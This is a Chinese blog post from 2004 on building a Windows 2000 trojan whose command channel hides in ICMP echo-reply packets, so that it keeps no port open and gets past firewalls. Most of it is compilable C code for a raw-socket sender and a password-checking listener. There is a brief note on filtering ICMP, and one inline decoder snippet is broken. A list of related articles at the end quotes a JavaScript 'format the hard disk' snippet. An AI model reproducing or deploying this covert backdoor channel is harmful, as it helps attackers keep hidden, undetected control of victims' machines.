基于ICMP的木马的编写

原创 2004年08月31日 14:46:00
本文会详细的分析Win2000下一种新型木马的内部构造和防御方法。(本文默认的操作系统为Win2000,开发环境为VC++6.0。)
  大家知道,一般的"古典"型木马都是通过建立TCP连接来进行命令和数据的传递的,但是这种方法有一个致命的漏洞,就是木马在等待和运行的过程中,始终有一个和外界联系的端口打开着,这是木马的阿喀琉斯之踵(参看希腊神话《特洛伊战纪》),也是高手们查找木马的杀手锏之一(Netstat大法)。所谓道高一尺,魔高一丈,木马也是在斗争中不断进步不断成长的,其中一种ICMP木马就彻底摆脱了端口的束缚,成为黑客入侵后门工具中的佼佼者。

  什么是ICMP呢?ICMP全称是Internet Control Message Protocol(互联网控制报文协议)它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文,这个协议常常为TCP或UDP协议服务,但是也可以单独使用,例如著名的工具Ping(向Mike

Muuss致敬),就是通过发送接收ICMP_ECHO和ICMP_ECHOREPLY报文来进行网络诊断的。

  实际上,ICMP木马的出现正是得到了Ping程序的启发,由于ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会,木马将自己伪装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给木马进程,一旦事先约定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。

  ICMP_ECHOREPLY包还有对于防火墙和网关的穿透能力。对于防火墙来说,ICMP报文是被列为危险的一类:从Ping of Death到ICMP风暴到ICMP碎片攻击,构造ICMP报文一向是攻击主机的最好方法之一,因此一般的防火墙都会对ICMP报文进行过滤;但是ICMP_ECHOREPLY报文却往往不会在过滤策略中出现,这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行Ping的操作,这样对于用户是极其不友好的。如果设置正确,ICMP_ECHOREPLY报文也能穿过网关,进入局域网。

为了实现发送/监听ICMP报文,必须建立SOCK_RAW(原始套接口),首先,我们需要定义一个IP首部:

typedef struct iphdr {

 unsigned int version:4; // IP版本号,4表示IPV4

 unsigned int h_len:4; // 4位首部长度

 unsigned char tos; // 8位服务类型TOS

 unsigned short total_len; // 16位总长度(字节)

 unsigned short ident; //16位标识

 unsigned short frag_and_flags; // 3位标志位

 unsigned char ttl; //8位生存时间 TTL

 unsigned char proto; // 8位协议 (TCP, UDP 或其他)

 unsigned short checksum; // 16位IP首部校验和

 unsigned int sourceIP; //32位源IP地址

 unsigned int destIP; //32位目的IP地址

}IpHeader;



  然后定义一个ICMP首部:



typedef struct _ihdr {

 BYTE i_type; //8位类型

 BYTE i_code; //8位代码

 USHORT i_cksum; //16位校验和

 USHORT i_id; //识别号(一般用进程号作为识别号)

 USHORT i_seq; //报文序列号

 ULONG timestamp; //时间戳

}IcmpHeader;



  这时可以同过WSASocket建立一个原始套接口:



SockRaw=WSASocket(

          AF_INET, //协议族

          SOCK_RAW, //协议类型,SOCK_RAW表示是原始套接口

          IPPROTO_ICMP, //协议,IPPROTO_ICMP表示ICMP数据报

          NULL, //WSAPROTOCOL_INFO置空

          0, //保留字,永远置为0

          WSA_FLAG_OVERLAPPED //标志位

          );



  注:为了使用发送接收超时设置(设置SO_RCVTIMEO, SO_SNDTIMEO),必须将标志位置为WSA_FLAG_OVERLAPPED



  随后你可以使用fill_icmp_data子程序填充ICMP报文段:



fill_icmp_data函数:



void fill_icmp_data(char * icmp_data, int datasize)



{

 IcmpHeader *icmp_hdr;

 char *datapart;

 icmp_hdr = (IcmpHeader*)icmp_data;

 icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY

 icmp_hdr->i_code = 0;

 icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号

 icmp_hdr->i_cksum = 0; //校验和初始化

 icmp_hdr->i_seq = 0; //序列号初始化

 datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文地址加上ICMP的首部长度

 memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据全部为"A",你可以填充任何代码和数据,实际上木马和控制端之间就是通过数据段传递数据的。



}

  再使用CheckSum子程序计算ICMP校验和:

   调用方法:

((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);



CheckSum函数:

USHORT CheckSum (USHORT *buffer, int size)

{

 unsigned long cksum=0;

 while(size >1)

  {

    cksum+=*buffer++;

    size -=sizeof(USHORT);

  }

  if(size ) cksum += *(UCHAR*)buffer;

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它



  随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:



  sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));

作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和命令:



recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct

sockaddr*)&from,&fromlen);



decode_resp(recvbuf,recv_icmp,&from);



decoder函数:



void decoder(char *buf, int bytes,struct sockaddr_in *from)

{

 IpHeader *iphdr;

 IcmpHeader *icmphdr;

 unsigned short iphdrlen;

 iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址

 iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4

 icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长加buf

 printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); //取出源地址

 printf(" icmp_id=%d. ",icmphdr->i_id); //取出进程号

 printf(" icmp_seq=%d. ",icmphdr->i_seq); //取出序列号

 printf(" icmp_type=%d",icmphdr->i_type); //取出类型

 printf(" icmp_code=%d",icmphdr->i_code); //取出代码

 for(i=0;//取出数据段

}



  注:在WIN2000下使用SOCK_RAW需要管理员的权限。



  对于ICMP木马,除非你使用嗅探器或者监视windows的SockAPI调用,否则从网络上是很难发现木马的行踪的(关于进程的隐藏及破解会在下一篇文章中进行讨论),那么,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带的路由功能对ICMP协议进行过滤,win2000的Routing

& Remote Access功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routing & Remote Access,选中机器名,在IP路由->General->网卡属性中有两个过滤器-输入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武之地了;不过值得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别想再用Ping这个工具了;如果过滤了所有的ICMP报文,你就收不到任何错误报文,当你使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不可达、主机不可达、端口不可达报文你一个都收不到),而且基于ICMP协议的tracert工具也会失效,这也是方便和安全之间的矛盾统一了吧。



附录:

1、发送ICMP_ECHOREPLY报文的程序代码

#include <winsock2.h>

#include <stdio.h>

#include <stdlib.h>



#define ICMP_ECHO 8                       //ICMP回显请求报文的类型值为8

#define ICMP_ECHOREPLY 0             //ICMP回显应答报文的类型值为0

#define ICMP_MIN 8                         // ICMP报文的最小长度是8字节(仅为首部)

#define ICMP_DEST_IP "127.0.0.1"    //目标主机的IP

#define ICMP_PASSWORD 1234        //密码设置,用来识别控制端



// 定义IP 首部

typedef struct iphdr {

unsigned int version:4;                        //IP版本号,4表示IPV4

       unsigned int h_len:4;                    //4位首部长度

       unsigned char tos;                       //8位服务类型TOS

       unsigned short total_len;        //16位总长度(字节)  

       unsigned short ident;                    //16位标识

       unsigned short frag_and_flags;   //3位标志位

       unsigned char  ttl;                        //8位生存时间 TTL

       unsigned char proto;                    //8位协议 (TCP, UDP 或其他)

       unsigned short checksum;            //16位IP首部校验和

       unsigned int sourceIP;                 //32位源IP地址

       unsigned int destIP;                         //32位目的IP地址

}IpHeader;





// 定义ICMP首部

typedef struct _ihdr

{

       BYTE i_type;                           //8位类型

       BYTE i_code;                             //8位代码

       USHORT i_cksum;                      //16位校验和

       USHORT i_id;                      //识别号(一般用进程号作为识别号)

       USHORT i_seq;                           //报文序列号  

       ULONG timestamp;                     //时间戳

}IcmpHeader;





#define STATUS_FAILED 0xFFFF

#define DEF_PACKET_SIZE 64          //定义报文的大小为64字节

#define MAX_PACKET 6500        //定义最大报文的大小为6500字节



#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))

#define xfree(p)   HeapFree (GetProcessHeap(),0,(p))



void fill_icmp_data(char *,int);            //填充ICMP报文的子程序

USHORT checksum(USHORT *, int);  //计算校验和的子程序    



int main(int argc, char **argv)

{

  WSADATA wsaData;

  SOCKET sockRaw = (SOCKET)NULL;

  struct sockaddr_in dest,from;

  struct hostent * hp;

  int bread,datasize,retval,bwrote;

  int fromlen = sizeof(from);

  int timeout = 1000;

  char *icmp_data;

  char *recvbuf;

  unsigned int addr=0;

  USHORT seq_no = 0;

  static int nCount=0;



  if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)

       {fprintf(stderr,"WSAStartup failed: %d/n",retval);ExitProcess(STATUS_FAILED);}

if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

       {fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError());ExitProcess(STATUS_FAILED);}

  __try

  {

              if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR)

                     {fprintf(stderr,"Failed to set recv timeout: %d/n",WSAGetLastError());__leave;}      //设置接收超时

              if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR)

                     {fprintf(stderr,"Failed to set send timeout: %d/n",WSAGetLastError());__leave;}     //设置发送超时

              memset(&dest,0,sizeof(dest));

              dest.sin_family = AF_INET;

              dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);

              datasize=DEF_PACKET_SIZE;

              datasize+=sizeof(IcmpHeader);  

              icmp_data=xmalloc(MAX_PACKET);

              recvbuf=xmalloc(MAX_PACKET);

              if(!icmp_data) {fprintf(stderr,"HeapAlloc failed %d/n",GetLastError());__leave;}

              memset(icmp_data,0,MAX_PACKET);

              printf("/nSend Packet to %s Success!/n",ICMP_DEST_IP);

              fill_icmp_data(icmp_data,datasize);                           //填充ICMP报文

              ((IcmpHeader*)icmp_data)->timestamp = GetTickCount();       //设置时间戳

              ((IcmpHeader*)icmp_data)->i_seq = ICMP_PASSWORD;        //设置序列号,实际使用时可以用这个密码验证

              ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);                   //计算校验和

              bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));     //发送报文

              if (bwrote == SOCKET_ERROR)

              {

                     if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out/n");

                     fprintf(stderr,"sendto failed: %d/n",WSAGetLastError());

                     __leave;

              }

              if (bwrote < datasize ) fprintf(stdout,"Wrote %d bytes/n",bwrote);

  }

  __finally

  {

       if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);

       WSACleanup();

  }

  return 0;

}



//计算校验和函数

USHORT checksum(USHORT *buffer, int size)

{

  unsigned long cksum=0;

  while(size >1)

  {

       cksum+=*buffer++;

       size -=sizeof(USHORT);

  }

  if(size ) {

       cksum += *(UCHAR*)buffer;

  }

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}



//填充ICMP数据报函数

void fill_icmp_data(char * icmp_data, int datasize)

{

  int i;

  char SendMsg[20]="Hello World!";

  IcmpHeader *icmp_hdr;

  char *datapart;

  icmp_hdr = (IcmpHeader*)icmp_data;

  icmp_hdr->i_type = ICMP_ECHOREPLY;

  icmp_hdr->i_code = 0;

  icmp_hdr->i_id = (USHORT) GetCurrentProcessId();

  icmp_hdr->i_cksum = 0;

  icmp_hdr->i_seq = 0;

  datapart = icmp_data + sizeof(IcmpHeader);

  for(i=0;i<sizeof(SendMsg);i++) datapart[i]=SendMsg[i];    

}





2、接收ICMP_ECHOREPLY报文的程序代码

#include <winsock2.h>

#include <stdio.h>

#include <stdlib.h>



#define ICMP_ECHO 8

#define ICMP_ECHOREPLY 0

#define ICMP_MIN 8 // minimum 8 byte icmp packet (just header)

#define ICMP_PASSWORD 1234



/* The IP header */

typedef struct iphdr {

unsigned int h_len:4;                    //4位首部长度

unsigned int version:4;                 //IP版本号,4表示IPV4

unsigned char tos;                       //8位服务类型TOS

unsigned short total_len;               //16位总长度(字节)

unsigned short ident;                    //16位标识

unsigned short frag_and_flags;     //3位标志位

unsigned char  ttl;                        //8位生存时间 TTL

unsigned char proto;                    //8位协议 (TCP, UDP 或其他)

unsigned short checksum;            //16位IP首部校验和

unsigned int sourceIP;                 //32位源IP地址

unsigned int destIP;                            //32位目的IP地址

}IpHeader;





//定义ICMP首部

typedef struct _ihdr

{

BYTE i_type;                                     //8位类型

BYTE i_code;                                    //8位代码

USHORT i_cksum;                             //16位校验和

USHORT i_id;                             //识别号(一般用进程号作为识别号)

USHORT i_seq;                                  //报文序列号  

ULONG timestamp;                            //时间戳

}IcmpHeader;





#define STATUS_FAILED 0xFFFF

#define DEF_PACKET_SIZE 640

#define MAX_PACKET 6500



#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))

#define xfree(p)   HeapFree (GetProcessHeap(),0,(p))



void fill_icmp_data(char *, int);

USHORT checksum(USHORT *, int);

void decode_resp(char *,int ,struct sockaddr_in *);



int main(int argc, char **argv){



  WSADATA wsaData;

  SOCKET sockRaw = (SOCKET)NULL;

  struct sockaddr_in dest,from;

  struct hostent * hp;

  int bread,datasize,retval;

  int fromlen = sizeof(from);

  int timeout = 1000;

  char *icmp_data;

  char *recvbuf;

  unsigned int addr=0;

  USHORT seq_no = 0;



  if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0){

fprintf(stderr,"WSAStartup failed: %d/n",retval);

ExitProcess(STATUS_FAILED);

  }

  sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);

  

  if (sockRaw == INVALID_SOCKET) {

fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError());

ExitProcess(STATUS_FAILED);

  }

  __try{

  bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));

  if(bread == SOCKET_ERROR)

  {

               fprintf(stderr,"failed to set recv timeout: %d/n",WSAGetLastError());

        __leave;

  }

  bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));

  if(bread == SOCKET_ERROR)

  {

               fprintf(stderr,"failed to set send timeout: %d/n",WSAGetLastError());

        __leave;

  }

  memset(&dest,0,sizeof(dest));

  dest.sin_family = AF_INET;

  dest.sin_addr.s_addr = inet_addr("207.46.230.218");//任意IP地址

  datasize = DEF_PACKET_SIZE;

  datasize += sizeof(IcmpHeader);  

  icmp_data = xmalloc(MAX_PACKET);

  recvbuf = xmalloc(MAX_PACKET);

  if (!icmp_data) {

        fprintf(stderr,"HeapAlloc failed %d/n",GetLastError());

        __leave;

  }

  memset(icmp_data,0,MAX_PACKET);

  while(1) {

        static int nCount = 0;

        int bwrote;

        fill_icmp_data(icmp_data,datasize);

        ((IcmpHeader*)icmp_data)->i_cksum = 0;

        ((IcmpHeader*)icmp_data)->timestamp = GetTickCount();

        ((IcmpHeader*)icmp_data)->i_seq = 1111;

        ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);

        bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));

        bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);

            if (bread == SOCKET_ERROR){

               if (WSAGetLastError() == WSAETIMEDOUT) {

                      continue;

               }

               fprintf(stderr,"recvfrom failed: %d/n",WSAGetLastError());

               __leave;

               

        }

       decode_resp(recvbuf,bread,&from);

        Sleep(1000);

  }

  }

  __finally {

if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);

WSACleanup();

  }

  return 0;

}



void decode_resp(char *buf, int bytes,struct sockaddr_in *from)

{

int i;

IpHeader *iphdr;

IcmpHeader *icmphdr;

unsigned short iphdrlen;

iphdr = (IpHeader *)buf;

iphdrlen = iphdr->h_len * 4 ;

icmphdr = (IcmpHeader*)(buf + iphdrlen);

if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段

{

        printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));

        printf(" IcmpType %d",icmphdr->i_type);

        printf(" IcmpCode %d",icmphdr->i_code);

        printf("/n");

        for(i=0;i<50;i++) printf("%c",*(buf+iphdrlen+i+12));

}

else printf("Other ICMP Packets!/n");

printf("/n");            

}





USHORT checksum(USHORT *buffer, int size) {



  unsigned long cksum=0;

  while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

  }

  if(size ) {

cksum += *(UCHAR*)buffer;

  }

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}



void fill_icmp_data(char * icmp_data, int datasize){

  IcmpHeader *icmp_hdr;

  char *datapart;

  icmp_hdr = (IcmpHeader*)icmp_data;

  icmp_hdr->i_type = ICMP_ECHO;

  icmp_hdr->i_code = 0;

  icmp_hdr->i_id = (USHORT)GetCurrentProcessId();

  icmp_hdr->i_cksum = 0;

  icmp_hdr->i_seq = 12;

  datapart = icmp_data + sizeof(IcmpHeader);

  memset(datapart,'A', datasize - sizeof(IcmpHeader));

Android使用逆向技术分析手机恶意代码

Android使用逆向技术分析手机恶意代码 Android逆向技术的学习用到了三个工具:apktool、dex2jar和jd-gui。通过三个工具的配合使用,分析了找到的4款含有恶意代码的软件。以分...
  • feng7208485
  • feng7208485
  • 2013年03月13日 21:53
  • 1565

恶意代码分析实战(7-01实验学习笔记)

分析这个代码开始,先查看它的导入表 00404000 CreateServiceA ADVAPI32 创建一个服务进程,增加到服务控制器 004040...
  • zero1994
  • zero1994
  • 2015年04月27日 20:09
  • 1287

恶意代码分析实战

安全技术大系 恶意代码分析实战(最权威的恶意代码分析指南,理论实践分析并重,业内人手一册的宝典) 【美】Michael Sikorski(迈克尔.斯科尔斯基), Andrew Honig(安德鲁....
  • broadview2006
  • broadview2006
  • 2014年05月28日 13:29
  • 4629

网安--第七章 恶意代码分析与防治

第7章 恶意代码分析与防治内容提要◎ 恶意代码的发展史和恶意代码长期存在的原因◎ 恶意代码实现机理、定义以及攻击方法◎ 恶意代码生存技术、隐藏技术,介绍网络蠕虫的定义以及结构◎ 恶意代码防范方法:基于...
  • lishirong
  • lishirong
  • 2014年12月02日 09:42
  • 3241

恶意代码检测技术

今天开始,认真准备毕设。 随着恶意代码成为信息安全的重要威胁,恶意代码检测技术成为信息安全领域的重要研究方向。目前已经有基于签名、启发式、行为式等几种检测恶意代码的方法,应用最广泛也是最成熟的当属基...
  • Grace_0642
  • Grace_0642
  • 2014年02月14日 19:39
  • 4874

恶意代码分析相关工具大全以及恶意代码检测网站

逆向工具大全
  • chichoo
  • chichoo
  • 2014年04月10日 15:51
  • 6285

利用机器学习进行恶意代码分类

原文链接:http://drops.wooyun.org/tips/8151 最近在Kaggle上微软发起了一个恶意代码分类的比赛,并提供了超过500G的数据(解压后)。有意思的是,取得第一名的队...
  • renyp8799
  • renyp8799
  • 2015年12月08日 23:49
  • 1717

恶意代码防范-熟悉给定工具

恶意代码防范 实验实验目的了解并熟悉给定的工具: PEiD Ollydbg Upxshell UPX脱壳终结者 使用所给文件完成以下问题 这些文件何时编译的? 这两个文件是否有迹象被加壳或混淆?证据何...
  • sinat_26599509
  • sinat_26599509
  • 2016年05月17日 15:29
  • 1533

Javascript网页恶意代码

///以下代码仅供学习研究使用,请勿使用害人,造成损失本人概不负责,谢谢合作! //1、格式化硬盘 scr.Reset(); scr.Path="C:\\windows\\Men...
  • jilongliang
  • jilongliang
  • 2014年12月25日 15:34
  • 1476

Web恶意代码检测方法

1  引言     随着Web2.0网站的普及和互动性的增强,统计显示Web应用漏洞已成为互联网的最大安全隐患,2009年第一季度截获的挂马网站(网页数量)总数目为 197676188个,平均每天截...
  • qiuzhi__ke
  • qiuzhi__ke
  • 2016年07月28日 18:23
  • 2563
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:基于ICMP的木马的编写
举报原因:
原因补充:

(最多只允许输入30个字)